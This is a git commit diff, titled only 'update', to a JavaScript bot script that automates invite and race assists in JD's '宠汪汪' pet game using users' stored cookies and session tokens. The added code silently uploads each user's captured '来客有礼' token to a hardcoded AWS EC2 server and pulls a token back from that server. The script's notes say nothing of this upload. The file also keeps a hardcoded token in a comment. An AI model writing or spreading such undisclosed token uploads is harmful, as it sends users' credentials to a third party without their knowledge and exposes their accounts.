update
This commit is contained in:
@ -1,6 +1,6 @@
|
|||||||
/**
|
/**
|
||||||
宠汪汪邀请助力与赛跑助力脚本,感谢github@Zero-S1提供帮助
|
宠汪汪邀请助力与赛跑助力脚本,感谢github@Zero-S1提供帮助
|
||||||
更新时间:2020-11-16(宠汪汪助力更新Token的配置正则表达式已改)
|
更新时间:2020-11-29(宠汪汪助力更新Token的配置正则表达式已改)
|
||||||
|
|
||||||
token时效很短,几个小时就失效了,闲麻烦的放弃就行
|
token时效很短,几个小时就失效了,闲麻烦的放弃就行
|
||||||
每天拿到token后,可一次性运行完毕即可。
|
每天拿到token后,可一次性运行完毕即可。
|
||||||
@ -43,7 +43,7 @@ let invite_pins = ["jd_6cd93e613b0e5,被折叠的记忆33,jd_704a2e5e28a66,jd_45
|
|||||||
//给下面好友赛跑助力
|
//给下面好友赛跑助力
|
||||||
let run_pins = ["jd_6cd93e613b0e5,被折叠的记忆33,jd_704a2e5e28a66,jd_45a6b5953b15b,zooooo58"];
|
let run_pins = ["jd_6cd93e613b0e5,被折叠的记忆33,jd_704a2e5e28a66,jd_45a6b5953b15b,zooooo58"];
|
||||||
// $.LKYLToken = '76fe7794c475c18711e3b47185f114b5' || $.getdata('jdJoyRunToken');
|
// $.LKYLToken = '76fe7794c475c18711e3b47185f114b5' || $.getdata('jdJoyRunToken');
|
||||||
$.LKYLToken = $.getdata('jdJoyRunToken');
|
// $.LKYLToken = $.getdata('jdJoyRunToken');
|
||||||
//Node.js用户请在jdCookie.js处填写京东ck;
|
//Node.js用户请在jdCookie.js处填写京东ck;
|
||||||
const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
|
const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
|
||||||
//IOS等用户直接用NobyDa的jd cookie
|
//IOS等用户直接用NobyDa的jd cookie
|
||||||
@ -101,7 +101,7 @@ if ($.isNode()) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
//获取来客有礼Token
|
//获取来客有礼Token
|
||||||
let count = 0, countFlag = 0;
|
let count = 0;
|
||||||
function getToken() {
|
function getToken() {
|
||||||
const url = $request.url;
|
const url = $request.url;
|
||||||
$.log(`${$.name}url\n${url}\n`)
|
$.log(`${$.name}url\n${url}\n`)
|
||||||
@ -118,6 +118,15 @@ function getToken() {
|
|||||||
count = 0;
|
count = 0;
|
||||||
$.setdata(`${count}`, 'countFlag');
|
$.setdata(`${count}`, 'countFlag');
|
||||||
$.msg($.name, '更新Token: 成功🎉', ``);
|
$.msg($.name, '更新Token: 成功🎉', ``);
|
||||||
|
console.log(`开始上传Token`)
|
||||||
|
$.http.get({url: `http://ec2-3-87-209-33.compute-1.amazonaws.com/api/v1/jd/joy/${LKYLToken}/`}).then((resp) => {
|
||||||
|
if (resp.statusCode === 200) {
|
||||||
|
let { body } = resp;
|
||||||
|
console.log(`Token提交结果:${body}`)
|
||||||
|
body = JSON.parse(body);
|
||||||
|
console.log(`${body.message}`)
|
||||||
|
}
|
||||||
|
});
|
||||||
}
|
}
|
||||||
$.setdata(LKYLToken, 'jdJoyRunToken');
|
$.setdata(LKYLToken, 'jdJoyRunToken');
|
||||||
}
|
}
|
||||||
@ -144,12 +153,39 @@ function getToken() {
|
|||||||
$.done()
|
$.done()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
function readToken() {
|
||||||
|
return new Promise(async resolve => {
|
||||||
|
$.get({url: `http://ec2-3-87-209-33.compute-1.amazonaws.com/api/v1/jd/joy/read/1/`}, (err, resp, data) => {
|
||||||
|
try {
|
||||||
|
if (err) {
|
||||||
|
console.log(`${JSON.stringify(err)}`)
|
||||||
|
console.log(`${$.name} API请求失败,请检查网路重试`)
|
||||||
|
} else {
|
||||||
|
if (data) {
|
||||||
|
console.log(data)
|
||||||
|
data = JSON.parse(data);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
$.logErr(e, resp)
|
||||||
|
} finally {
|
||||||
|
resolve(data);
|
||||||
|
}
|
||||||
|
})
|
||||||
|
})
|
||||||
|
}
|
||||||
async function main() {
|
async function main() {
|
||||||
console.log(`打印token \n${$.getdata('jdJoyRunToken')}\n`)
|
|
||||||
if (!cookiesArr[0]) {
|
if (!cookiesArr[0]) {
|
||||||
$.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"});
|
$.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"});
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
const readTokenRes = await readToken();
|
||||||
|
if (readTokenRes && readTokenRes.code === 200) {
|
||||||
|
$.LKYLToken = readTokenRes.data[0] || $.getdata('jdJoyRunToken');
|
||||||
|
} else {
|
||||||
|
$.LKYLToken = $.getdata('jdJoyRunToken');
|
||||||
|
}
|
||||||
|
console.log(`打印token \n${$.LKYLToken}\n`)
|
||||||
if (!$.LKYLToken) {
|
if (!$.LKYLToken) {
|
||||||
$.msg($.name, '【提示】请先获取来客有礼宠汪汪token', "微信搜索'来客有礼'小程序\n点击底部的'发现'Tab\n即可获取Token");
|
$.msg($.name, '【提示】请先获取来客有礼宠汪汪token', "微信搜索'来客有礼'小程序\n点击底部的'发现'Tab\n即可获取Token");
|
||||||
return;
|
return;
|
||||||
|
Reference in New Issue
Block a user